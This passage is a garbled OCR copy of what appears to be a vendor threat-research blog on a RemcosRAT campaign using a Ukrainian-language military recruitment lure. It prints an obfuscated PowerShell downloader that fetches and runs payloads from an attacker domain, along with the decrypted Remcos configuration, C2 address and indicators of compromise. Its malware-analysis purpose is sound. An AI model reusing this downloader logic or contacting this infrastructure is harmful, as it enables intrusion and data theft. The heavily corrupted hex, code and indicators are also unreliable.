b4 4f 4f be dl 47 37 £4 %e a0 48 69 Te 25 bé fh .00..67...Hi~%.. § NT AUTHORITYASYSTEM
£d 5d =2 2a £b 25 4d b0 42 b0 66 cf ab 60 c9 a6 .].*.3M.B.f.. .. B
71 b0 al 76 72 98 lc 34 5 50 ad éb d5 22 54 &5 g..vx..4.P.k..T. b
a6 51 &0 cl 83 6a ed b3 a2 8d de 44 53 0l 2 26 .Q...j..... DS..s
58 2c 7d 91 6a £8 05 45 11 db ba £0 b5 e 37 b6 %, }.5..Eeen...7. B
d2 £9 c8 38 23 32 62 4b 21 23 97 bf 94 a2 Sc 49 ...882bK!$.....T B
18 £d 07 c5 9d 6f 7c 9b 14 26 b 4f 1f 7f 4a €2 ..... ol..).0..J. il RemcosRAT
52 51 73 5a 13 a8 31 cd 8b 7c lc =a &7 3f 06 d7 ROsZ..l.. n
c5 d2 al a3 3f f1 d2 &7 85 -
Bb dl 56 14 c7 =€ =7 la 4d B
4 00 00 00 ££ ££ 00 00 b8 B
0 00 00 00 00 00 00 00 00 B
0 00 00 00 00 00 00 00 00 5
0 00 00 00 02 01 00 00 Oe 5 3
b1 be 01 4c cd 21 54 €8 €9 73 20 70 72 €£ 67 72 !..L.!This progr B
b1 6d 20 63 €1 6= 6= 6£ 74 20 €2 65 20 72 75 €= am cannot be run B
B0 65 6e 20 44 4f 53 20 éd 6f €4 &5 B
P4 00 00 00 00 00 00 00 &4 9b bb 2d b
b0 fa d5 Te 20 fa d5 Te 94 66 24 Te
ba 66 26 Te 87 fa dS Te 94 66 27 Te B
bo 82 51 7e 21 fa d5 7e be Sa 12 Te B
d ad dé 7f 3a fa d5 7e 8d ad d0 7f B
d a4 dl 7f 02 fa dS Te 29 82 46 Te
Bo £z d4 7= 1d b ds 7e 95 ad dc 7f il :
Write Go to... || 16 bytes per row ~ Save B

BH conhost.exe

Description

NT Kernel & System
Windows Session Manager
Interrupts and DPCs

Client Server Runtime Process
Windows Start-Up Application
Client Server Runtime Process
Windows Logon Application
Usermode Font Driver Host
Desktop Window Manager
Windows Explorer

Windows Security notification...
VirtualBox Guest Additions Tra...

Microsoft Edge
Microsoft Edge
Microsoft Edge
Microsoft Edge
Microsoft Edge

Process Hacker
Google Crash Handler
Google Crash Handler

Conscle Window Host

:CPU Usage: 4.35% Physical memory: 1.81 GB (45.27%) Processes: 117
Figure 15-Remcos binary in the memory of cmd.exe (RW)

The Remcos execution flow from word_update.exe.

[ g5% cmd exe (1908)

g% Conhost exe (2644)
“ru explorer.exe (8516)

"C:A\Usersy
C:\Windows\SysWOW6&4\emd exe
\IMC:\Windows'\system32'\conhost exe O«ffffffff -ForceV/1
C:\Windows\SysWOW64'\explorer.exe

Figure 16—Remcos execution flow from word_update.exe

\AppData‘\Roaming‘word_update exe"

Uptycs capture of the explorer.exe with malicious activities.

SystemFolderWrit ..
Windows Comma...
Console Window ...
Windows Explorer
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1 11 Alert: 7Tactics Advanced Threat 12/22)
O 10110 $o I
#~47 Events 13 Techniques 2 12122
SIGNALS  DETECTION GRAPH
Select
high, medium, low -
N
[€od)
¥
[al
®
|
|
=
|
|
&

WALK THROUGH

Events for all processes [EHEagry:1id

“«« »

7:,'1 explorerexe (Process)

Alerts/Events Associated with Selected Process

o 'Yararule match on process memory (1)

TADOO2 - EXECUTION - WINDOWS
@ Monitored application spawns explorer.exe (1)

T1082 - SYSTEM INFORMATION DISCOVERY - WINDOWS
Process attempting to get system information (3)

+1 more Alerts/Events

12/22/202317:37:29

12/22/202317:35:58

12/22/202317:36:07

Process id 3528
Process name

explorer.exe

Process path cwindows\syswow64\explorerexe

i

Figure 17-Uptycs alert: Explorer.exe with malicious activity

Remcos binary

Upon extracting the binary from cmd.exe memory, we obtained the RemcosRAT payload.
Within the payload's Resource section, there is an RCDATA that stores data encrypted using

RCA4.
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+_‘| Icons
=) RCData

+-{C5) Tcon Groups

Key Size

Key

Data

'] "SETTINGS” - [l

.--—"'/

-~

/

RC4 Encrypted

R B = o A2

Offset. |p=Sy1 2 “3 4 5 6 7 8 9 A& B C D E E Azcii
Jgggg%%ﬂﬂ- AsEfOE CDOEL 87 12 VD gE 3C 9B 2B DD 2E A4 Vo Ae « LA T0<0>Y . M)
10 79 9C 9B 6E DC C1 98 B85 95 F& 70 ES 95 61 64 VylInbal 1 1upélag
noooooz2o j el 70 32 EB DB AA Y9 03 98 24 22 FC 2C 03 70 E3 mi2e@dyl 15" 1.0 pd
nooooosn | 2e 31 3B CF 40 A3 63 73 42 5D &0 OE 89 DF EB DY &1:I@gc=B] 0 1Rl
nooooodn |72 E6 11 BE 09 86 36 64 AA 0OC Es BD 89 32 68 AL r#l , 1632 1eM]2hE
nooooosn |38 9D 68 DB Bl 94 53 B9 7D 9D 1D 43 E9 00 7E A9 g8 hixi1s}; Ca.™®
noooooed | 79 EF 05 B? 05 9F 75 EE 21 17 4E 43 CC 3E 75 BC il -0 JuiloNCIsuk
nooooa? 85 06 67 79 43 BD S5F Ce DF FE SE 4E E7 C3 F& 9D 10 gvH%_ERb[Nolka
non 0p37 82 7D 73 6C 73 8C 9C 1E 51 64 52 B2 36 C3 60 71lsls1l Q3R*EL
oosn 0vRElI=12@1n10 |URG
DDDDDDADI L. 4D BE 9D 92 05 65 64 37 08 A4 54|C9 EF E& 22 UM% ‘0e=d708TE &"
noooooen 27 70 E6 &0 Ig 900 Y352 paP
noooooco | B3 AT Be 5D 63 7D 6A D4 B9 DA Es 69 YE BZ 04 C7 59 e} 0 Tei™ 0
nooooopo | 67 B2 B4 B4 92 EC C3 49 85 18 C7 65 C9 29 14 D9 g“'l'i%IIECeE)E
noooooED | DO 1F 64 8e EO 10 87 92 E4 33 Ee 21 55 37 27 84 B juan 1 aizll?' |
noooo0orFD | DE BC 80 AF 29 39 A0 BF 31 BD BE 49 91 C9 74 EBA Ump )9 ildnI Ete
nooooloo0 | Be CB C9 FO ES 58 82 A3 AD 1C 1F AB 3C 1B SE DE JEESSEIE— 10 1T
nooo0110 | 3D FE 1D FA B4 65 OE 0OE 24 SE D9 A7 54 C8 21 57 =b 4’ =00 s USZEIV
noooo0120 | E3 Al 56 EE Co 34 94 <0 3E 28 95 37 4B 24 59 E0 SiViE4 1A (1TExTA
nooo0130 | DB B4 6F 44 E6 70 AC FE Co EB 5C C8 7E Ec 49 F9 U cDep-p&-~E~ala
noooo0140 | ES B9 E1 CC 36 DE F2 14 C7 42 BC DO B2 Ec 34 14 éléIES&ECEM93£:E
noo001s0 | 0e 6B 73 5C 18 4D BO BO AL 5D 4E 07 79 33 1E 5F | 0ks~O0M™"¥]H0y3
noooolen | 3E 20 3C A9 67 E2 Be E9 ED E& 77 E6 Ce 6D 1B D& » . <@gaTfeidwaEnl
nooono17o | oC Ce BD OF F4 38 3D 44 CA B3 F7 D4 E7 A4 1A 32 I%m0 &8=JE*~0gmn 2
noooolen | AR 27 8C C2 De 00 94 B3 8B FA 66 26 48 A9 EE Ad o' DAQ. 1® 1af &HEHH
nooool 86 7C 4E 33 A4 FO ALl 74 50 AL CE 94 E4 EZ &F D7 1|H308 iz 1¥E15 20X
1] 082 D& 00 4% 6C 60 03 BD 4F 49 AB F2 894 F1 82 84 19, I1°0%0To051 1
0001B0 | FD1E 8C BE D2 5C 60 E7 61 9F 41 BF 73 75 37 DF ¥ pEON galdisul
nooo01co | 01 C9 42 3C SA 66 BC Be 78 EE 74 32 28 Y0 OB 08 O0EB«<ZfXMlxit2 (o0
Qo00oino | 12 28 20 0B 2F 85 80 17 OB 41 DS E6 06 0OE G4 1E |o(.0~1 00Ad=00Z
noo001ED | 92 D7 22 BA Ef 91 85 VB &F JE 34 0D 78 C2 BR BE I<"2& 1{o™; . xh ¥4
noooolrFo | FB E1 5D 38 04 DS FD 47 40 Ae D& 23 2E 43 2F BY 4] 80 Oyca | O Co-
noooozoo | o DO 51 20 AB FA DA 84 0& 22 77 74 F8 4F AF E7 ABD U0 "wzel g
nooooz2io | eD CA 68 C7 29 80 18 1F A9 E3 59 B2 44 LCE F7 DO nEhG)iI0 ®@3Y:0"=D
noooozz2o | 67 &3 57 15 85 E2 52 AD EO 35 DB EE OB AR 84 C& golll [aR-2500 14
nooo0230 | 36 8D CD FS C1 6B C1 28 B8A S5F FD D2 94 0B 15 &C B IgdkA(_gOmnol
nooooz40 | 34 4A 68 DC B2 4C 3C D4 84 14 CD 97 ED B3 2C D1 :JhU:L<OmmIniz B
noo00250 | Ee AC AF E2 Be 2C SE 6D 54 3B 8C 4E 86 87 07 CE e~ &%, "nZ; INIIE
noooo0z2eld | 01 F& E1 9F 07 09 ZE 68 6D C4 2E 80 55 83 EE 83 DOAND . hmd. 10110
nooooz270 | As BC F4 28 0A DB 76 EE 1D ED 9F 1B F2 AE A4 7E 1Ma( Owi 1o oeE
nooooz2en | 5F B3I C1 20 0D E4 AE <2 27 3D D9 E9 FF 27 C7 CB _*h. E®AT=U&y'CE
nooooz2so | 13 Ba 91 B4 ES A1 B9 94 4D ES FO 30 43 16 CA DO 0," "&i*1Ha30C0ED
nooooz2an | SE 05 4D 1C 64 AE 98 D7 05 7F BB 78 F4 Be AR EB DM JEL=D Isxal e
noooozZeo | 4E ED 68 B3 A8 DF 39 99 A1 8F 76 ED Be 9F 9C Bl Hih? ' RB9pi wifilx
nooooz2co | 31 DO 2F C2 9D 16 BS Bl BB 7A 90 C3 F5 FF 86 &E 1b-A Dptlz E3%In
noooozpo | 5D B F7 Ce 33 FB AB AS 35 CD F2 1E F9 9D D7 7E 1M+-E3a.E51a 0w
noooo0z2ED | 97 8C EB 12 AA DD FC Fe 13 8C 44 8D DB DE 299 20 11E0 & FigEn e 00y .
nooooz2eEo | 97 B2 2B D4 2D 78 57 10 36 14 C8 31 54 EC DA EE 12+0—=W0 60 E1TilE
noooozo0 | CD DE 50 1F C4 51 39 A4 Be BS C4 C2 63 F6 46 DS I10P AQ9eMyAhcsFl
noooo0z310 | 21 AE F4 D1 Ce 8C 30 DF FD C4 4E A6 FB EF Ef 79 LecHEIORTAN | Gisy
nooooz20 | A9 Ce D3 FF EZ GC 95 FB B2 51 FG 0D 3B 74 B4 C7 SEOHEILQS. (2
nooonz3o0 | 32 7E 51 74 11 4C E5 D4 FB8 35 C1 F2 57 2F 31 4E 20t0 LAOas Aa-1H
nooooz40 | 13 FBE 2B 75 1E BD AD 1D 02 8C 72 09 5B 24 9E 86 Di+u ¥ Ir.[51]
noooozs0 | 54 B84 12 E9 44 81 DE 47 EA F7 AC BO EC 10 <0 D1 TI0&D bGa-—--in Al
noooozen | 78 F? YD &E F8 7C CC 52 4B CE D9 66 54 FF SA &2 H+%na|IRKIUfZ§Zh
noooos370 | o7 23 CC 5C 6B 64 CO F4 AE SF F4 2D 88 43 E4 A2 0D#INejAS® S—1CEe

Figure 18—-RC4 encrypted data in RCDATA

By utilizing CyberChef, we decrypted the data, revealing the configuration file of

RemcosRAT.
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https://gchq.github.io/CyberChef/

Recipe Bl & nput + 028 =

C9 5F E8 22 83 71 A@ 9D 39 30 D9 2E 59 E5 24 32 27 70 E6 50 B3 A7 Bb 5D 63 7D 6A D4 B9 DA E6 69

7E 82 84 C7 67 B2 B4 84 92 EC C3 49 85 18 C7 65 (9 29 14 D9 D@ 1F 6A 86 EO@ 16 87 92 E4 33 E6 21

Passphrase nput format 55 37 27 8A DB BC 8@ AF 29 39 A@ BF 31 BD BB 49 91 C9 74 BA B8 CB C9 F@ E8 58 82 A3 AD 1C 1F AB
8F CD E1 87 12 7D .. HEX ~ Hex 8C 1B 8E DB 3D FE 1D FA B4 65 OF OFE 24 SE D9 A7 SA (8 21 57 E3 Al 56 EE C6 34 94 (@ 3E 28 95 37
4B 2A 59 E@ DB B4 6F 44 E6 70 AC FE C6 BB 5C C8 7E E6 49 F9 E5 B9 E1 CC 36 D5 F2 1A C7 42 BC Do

Output format B3 E6 3A 14 06 6B 73 5C 18 4D BO B@ A5 5D 4E ©7 79 33 1E 5F 3E 2@ 3C A9 67 E2 B6 E9 ED E5 77 E6
Latin1 C6 6D 1B D5 CC C6 BD ©F F4 38 3D 4A CA B3 F7 D4 E7 A4 1A 32 AB 27 8C (C2 D6 @8 94 B3 8B FA 66 26
48 A9 BE A4 86 7C 4E 33 A4 FO Al 7A 89 A5 CB 94 E4 B2 6F D7 82 D8 00 49 6C 60 03 BD 4F 49 AB F2

8A F1 82 84 FD 1E 8C BE D2 5C 60 E7 61 9F 41 BF 73 75 37 DF @1 C9 42 3C 5A 66 BC B6 78 EE 74 32

Remove null bytes 28 70 0B @8 12 28 20 ©B 2F 85 8D 17 ©B 41 D5 E6 ©6 @E 5A 1E 93 D7 22 BA E8 91 85 7B 6F 7E 3A @D
78 C2 B8 BE FB E1 5D 38 04 D5 FD 47 49 A6 D6 23 2E 43 2F B7 Co D@ 51 20 AB FA DA 8A @6 22 77 7A

F8 AF AF E7 6D CA 68 C7 29 890 18 1F AS E3 59 B2 44 5E F7 D@ 67 63 57 15 85 E2 52 AD E© 35 DB BB

@B AB 84 (5 36 8D (D F5 C1 6B C1 28 8A S5F FD D2 9A @B 15 6C 3A 4A 68 DC B2 4C 3C D4 8A 1A (D 97

ED B3 2C D1 E6 AC AF E2 B6 2C S5E 6D S5A 3B 8C 4E 86 87 07 (B 01 F6 E1 9F ©7 09 2E 68 6D C4 2E 80

RC4

e 3413 = 1 Tr Raw Bytes 4= LF
Output 5 ] I—D m o
194.87.31.229:6438:1% | === |RemoteHost | wns | 1| wms | | rnr ]| ] wms [ 1] %% | 100000 | =5 | | x| 8]
|remcos .exe | == | | s | | = | @] %% |Rmc-D6LMCO| = H| || 8] e =|logs da‘t| e | | || | ===|l®\ “=||
xi.,uSH |nun]5]unes | 6]nnn | Screenshots | snn | [ ann | s | [ans ] [ans ] [ans] [man] [ans] [ sns]] s |5|= 5y, | |” o,
|MicRecords | === | |=ms @] wur]@|m| | e | | mes o] @] e \1| |Remcos| <o | remcos |

%% | (5904017 3F639B6EACCT200E2E9FESTA | "% | | =% | @e's0e |

,%1xe400.0

Figure 19—Cyberchef decryption
Configuration:

C2 Host: port:password: 194.87.31.229:6438:1
Botnet: RemoteHost

Mutex: Rmc-D6LMC9

copy file: remcos.exe

copy folder: Remcos

Keylog folder: Remcos

Screenshot folder: Screenshots

Keylog file: logs.dat

The Remcos version identified is 4.9.2 Pro, and it has successfully gathered information
about the victim, including the computer name and username.

RemcosRAT removes cookies and login data from the following browsers: Internet Explorer,
Firefox, and Chrome. This action aids in preventing the recording of malware entries on the
victim machines.

\ppD atatLocalGoogle\Chrome!Liser DatatDefaultLogin Data
UserProfle

[Chrome StarsdLogins net fourd]

[Chrome StoredLogins found, cleared!]
\dpplataLocalGoogle\ChromeLiser DatatDefault,Cookies
[Chrome Cookies nat faund]

[Chrome Conkies found, cleared!]
\tpplatatRoaming'Mazills'Firefox Profilest,

[Firefox SteredLagins nat found]

\loginsjson

ke db

[Firefox StoredLogins Cleared ]

[Firefor Cookies not found]

\cookics.sqlie

[Firefor cookies found, cleared!]

Cookies
Software\Microsofitwindaws\CurrentersiontE splorer\User $hel Folders
[IE cookies not found]

[E cookies cleared!]

[Cleared browsers lagins and cookies.]

Cleared browsets logins and cookiss

Figure 20—Browser data

It configures registry values for the executable path, license, and time associated with the
thread.
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File Edit WView Favorites Help

Computer\HKEY_CURRENT_U SER"-LSGI-—I'WAF‘.Elﬂm c-DELM C‘JI

|| Name Type Data

ab) (Default) REG_SZ (value not set)
b hgtgegp REG_SZ C
4] jhvtcbv REG_BINARY b
4| uabc REG_DWORD o

Figure 21-Registry key

Request for downloading ofer.docx.

B Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help

Baelddaox 90 58 =8 Boo|6E.

[ Untitiedps1 [Read Only] | Untitleds ps1 [Read Only] X

12 ¢ elseif (S0Gd.EndsWith((HrL @(3574,3640,3643,3577))) -eq $Trued{

13

14 write-output "mypower”

15 powershell.exe -ExecutionPolicy unrestricted -File $oGd

16 1

17 [ elseif ($0Gd.Endswith((HrL @(3574,3637,3643,3633))) -eq $True){

18

19 write-output “mymise”

20 misexec /an /1 SoGd

21 i

22 else { Start-Process S$oGd

23 |}

24 =ifunction JWF($ivs){

25 $Fzf = New-Object (HrlL @(3606,3629,3644,3574,3615,3629,3626,3595,3636,3633,3629,3638,3644))
26 [Net.ServicePointManager] : :SecurityProtocol = [Net.SecurityProtocolType]::TLS12
27 UJM = $Fzf.DownloadData($jVs.

28

29 return SUIM

B 3U3 $jVs = http://new-tech-cavvy. com/ofer. docx

http://new-tech-savvy. con/ofer . docx

31 —function HrL(STUX){

32 $dVN=3528

33 $BIX=5Null

34 = Fforeach(3BKV in $1UX){
35 $BIX+=[char] ($BKV-SdVN)
36 T

37

38 write-output $BIX

39

40 return $BIX

a1 3

42 Sfunction WONO{

43 $L0J = Senv:AppData + "\
44 xSzFQBICuDaU = $LOJ + 'word_update. exe
45 write-outout SxSzFaBICuDal

Figure 22—Downloading document payload

Dropped file alert from uptycs.

648 4.
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&

e TAODO02 - EXECUTION - WINDOWS

MS Office or scripting engine dropped archive file

@ MS Office or scripting engine dropped archive file - TAO0O2 -

~ Signals (1) : C:\users\ [\ appdata\roaming\ofer.docx Execution - Windows
¢  T1560-ARCHIVE COLLECTED DATA - WINDOWS Code: ATTACK_EXECUTION_T1560_WINDOWS_ARCHIVE_MS_OFFICE_SCRIPTING_FIM
PowerShell or its child process dropped archive file »  Techniques
~ Signals (1) : C:users\ [N \appdata\roaming\ofer.docx BoHErSREIY -
Command line powershell -
Destination path
File path Cusers\II appdatatroaming
‘oferdocx
Integrity level MEDIUM

Login name [ ]
Magic header 504b0304140008080800

Operation write

Figure 23—-Uptycs alert: Dropped doc filee

After the download of ofer.docx is complete, it is executed using winword.exe.This file does
not contain macros; instead, it displays a defensive message from a consultant to the Israel
Defense Forces (IDF).

e Jls ofer.docx - Microsoft Word - x

Home | imset  Pagelayout  References  Maiings  Review  View - @
B X« T2 A | Age | B p % A Find -
LB & con Uberation serff ~ 12~ A" A" | Aav | 4aBbCcl AaBbC AaBbCcl |AaBbCcl | AaBbCcI AaBbCI AaBbCi AaBbce AAD sasbee ambCel AaBbCel 4aBbCe AaBbCA AaBbCCL &, Repiace
- . ¢ AW A c %
o Fomatpanter | B £ L~ abe 3, % VA
Clipboard 5 Font 5 Paragraph 5 Styles =] Edting

Topton THesding  Tindec | Thomsl |Numberi. ThoSpac.. Weadnol Weing2  THe  Sublie Subtem. Empnsis memeE.  Soro  Quote  (enge Tl
| Iy select

I» &

JQ}

KorcyasTanT 20 Apwii ofoponn Iipaimo (AXAT)
e iz RaEY PV

3 MeToro migEMmennA SoeszaTHOCT 36poizmx e Apyia oGoposn Ispaimo npononye
‘EiFiCEKOR 0Ty XG0R LI 30poiisx Crut VKpAIHH, AXi MAIOTH GOMOEIH JOCEiX T8/260 Z0CEix
pissoro pisns, it -y apnii Jepxasn

Tspaits.
Buasora:
- HaBRICTS GOMOEOTO AOCELAY Ta/260 J0CBIAY KOMIHIYEAHHA He MeKMe 1-T0 oKy

- MATBEp/KeH] KOMIETEHIIIT  OZHOMY 3 HAIAMKIE BIFCEKOR O I ATOTORKH
- rotosmicTs Zo petoxamit

Obor sakm:

- HABYAKHA Ta KOHCYTBTaliA B ry 2 Apsiii oGoporn Ispaitio
axTyaTLEIM cocoBaM Bedemia BooBmX Aiit

| Yvopm:

- Brcoxai pisers sapobiTHof maaTh - 513 $5000 Ha scsrs 3 MoTHBICTI0 36 TeIesHA TPOmIOROT YA
- MOAIHEICTS YKIaACHAA KORTPAKTY BiA 3 MICAUIE 40 3 POKIE 3 MOAIHEICTIO IO ACEACHEHA

- TMOBHIA PeTOKA I MaieT: Gepeno BCi BHTPATH Ha IePei3 Ta OOTAITYRAHHS Ha cede

- - Tspaimo HariTs bes HATBHOCT] €EpeficEKOro KopiHHA

- KoHCyBTaniiiHa AATsHICTS Ges yuacTi y BeaeHni Gofoux A

wo o

Figure 24—-Document File with Ukrainian language and Defense theme
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s (IDF)

bat capability ers military personnel of the Armed Forces of Ukraine with combat experience and/or experience in commanding
to become mil

for command experience
of military training

g soldiers and representatives of the Israel Defense Forces on current methods of warfare

is limited in time: we ask you to respond to the recruiter who contacted you within 2 days from the date of receipt of the message from the recruiter.

Figure 25—Translated word document

Initially, virustotal did not detect any instances of word_update.exe. However, at the same
time, Uptycs XDR detected RemcosRAT.

ity vendors and no san ged this file as malicious (¥ Reanalyze = Similar ~ More -

e4615b74d62f384d23e58bc467c615b17779e418084c8a0134db97a5e642027f Size Last te % L

SystemFolderWriteApp.exe 14.59 MB 1day

peexe  cormupt

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Figure 26-Virustotal detection

Uptycs XDR coverage

Uptycs XDR demonstrates robust detection capabilities, featuring built-in YARA support and
advanced functionalities for identifying threats such as RemcosRAT. Users can efficiently
scan for potential risks, leveraging the contextual detection power of XDR to access crucial
details about detected malware. Navigating to the toolkit data section within the detection
screen allows users to easily explore comprehensive profiles of identified items.

Additionally, Uptycs excels in addressing cybersecurity threats by providing the capability to
decode and decrypt obfuscated PowerShell scripts, expanding its arsenal for thorough threat
detection and mitigation. A notable highlight is the detection graph presented on the
detection page, offering a dynamic visual representation of process relationships, including
interconnected files, sockets, and lateral movements during an incident.
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https://www.virustotal.com/gui/file/e4615b74d62f384d23e58bc467c615b17779e4f8084c8a0134db97a5e642027f

1 11 Akerts 7 Tactics Advanced Threat
O 10710 $ I 2% [ = ACTIONS }
A~ 47 Events 13 Techniques 2
SIGNALS DETECTION GRAPH CONTEXT ACTIVITIES
Showing Sortby
- ; ;
i ATTECK Matrix @  sgsignals Goww Al v Time~  Search Clear filters v % Toolkits (1)
00000
0@  Yararulematchon process memory Name REMCOS RAT

Remcos is a Remote Access Tool
Overview developed for surveillance purposes
by acompany - Breaking Security.

v Signals (1) : Uptycs_Remcos_v3

3 @ T1059.001 - EXECUTION - WINDOWS

PowerShell.exe execution detected from monitored applications +1

a
— v Signals (2) : c\windows\system32\windowspowershell\vl.0\powershell.exe
50() (71027 - OBFUSCATED FILES ORINFORMATION - WINDOWS Beseriptisn
PowerShell obfuscated base64 data +1
v Signals (2) : c\windows\system32\windowspowershell\vl.0\powershell.exe
3 @ T1027 - OBFUSCATED FILES OR INFORMATION - WINDOWS httpsy/breaking-security.net/remcos/
Reference https//wwwiortinetcom
PowerShell decoding/encoding base64 data +1 Links /blog/threat-research/remcos-
[ ] a-new-rat-in-the-wild-2
v Signals (2} : ch\windows\system32\windowspowershell\v1.0\powershell.exe
1.0 & T1059.003 - EXECUTION - WINDOWS
" » & ThreatGroup Profiles (2
a Detected use of cmd.exe to copy files to network share ’ L @

-

Figure 27-Uptycs detection

Conclusion and precaution

To defend against malware attacks like the RemcosRAT, it is recommended to:

« Utilize sophisticated email filtering solutions to autonomously identify and eliminate
spam messages prior to reaching users' email inboxes.

o Refrain from clicking on hyperlinks or opening attachments in emails identified as
spam.

e Deploy network monitoring tools to identify abnormal communication patterns that
could signal the presence of remote access tools.

o Consistently examine and secure system configurations, verifying that superfluous
services and startup entries are either disabled or closely monitored.

» Leverage tools based on behavioral analysis to identify unusual activities that may
suggest attempts by RATs to establish persistence or communicate with command and
control servers.

I0C

File Name MD5

Lnk file 56154fedaa70a3e58b7262b7c344d30a

6.hta 9b777d69b018701ec5ad19ae3f06553f

ofer.docx 74865c6c290488bd5552aa905c02666¢
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word_update.exe 7c05cfed156f152139a6b1f0d48b5cc1

fmTask_dbg.exe  7c05cfed156f152139a6b1f0d48b5cc1

Remcos

0b2d0eb5af93a3355244e1319e3de9da

Related hash

File Name MD5

Lnk 7f87d36c989a11edf0de9af392891d89
Lnk f5ee6aa31c950dfe55972e50e02201d3
Lnk 5c734bb1e41fab9c7b2dabd06e27bc7b
shablon.hta 1c3e1e0319dc6aa24166d5e2aaaec675

zayava.docx

818beece85ecd90d413782dd51d939b1

Ps1 8158b43f745e0e7a519458b0150e1b61
Ps1 71ef85824f906856cb3d2205058bdd2

Ps1 8bebea01d914a3c3a2d876417f7d1d54
Remcos b1f8484ee01a7730938210ea6e851888
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URL

clusterO0<X>[.Jovh[.]net
194[.187.31[.]229

46[.]249.58[.]140
new-tech-savvy[.Jcom/6.hta
new-tech-savvy[.Jcom/5[.]hta
new-tech-savvy[.Jcom/algo[.]hta
new-tech-savvy[.Jcom/shablon[.]hta
new-tech-savvy[.Jcom/word_update[.]Jexe
new-tech-savvy[.Jcom/zayava[.]Jdocx
new-tech-savvy[.]Jcom/ofer[.]Jdocx

Read more blogs from our Threat Research Team to discover the latest

threat intelligence and defensive measures.
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https://www.uptycs.com/blog/tag/threat-intelligence

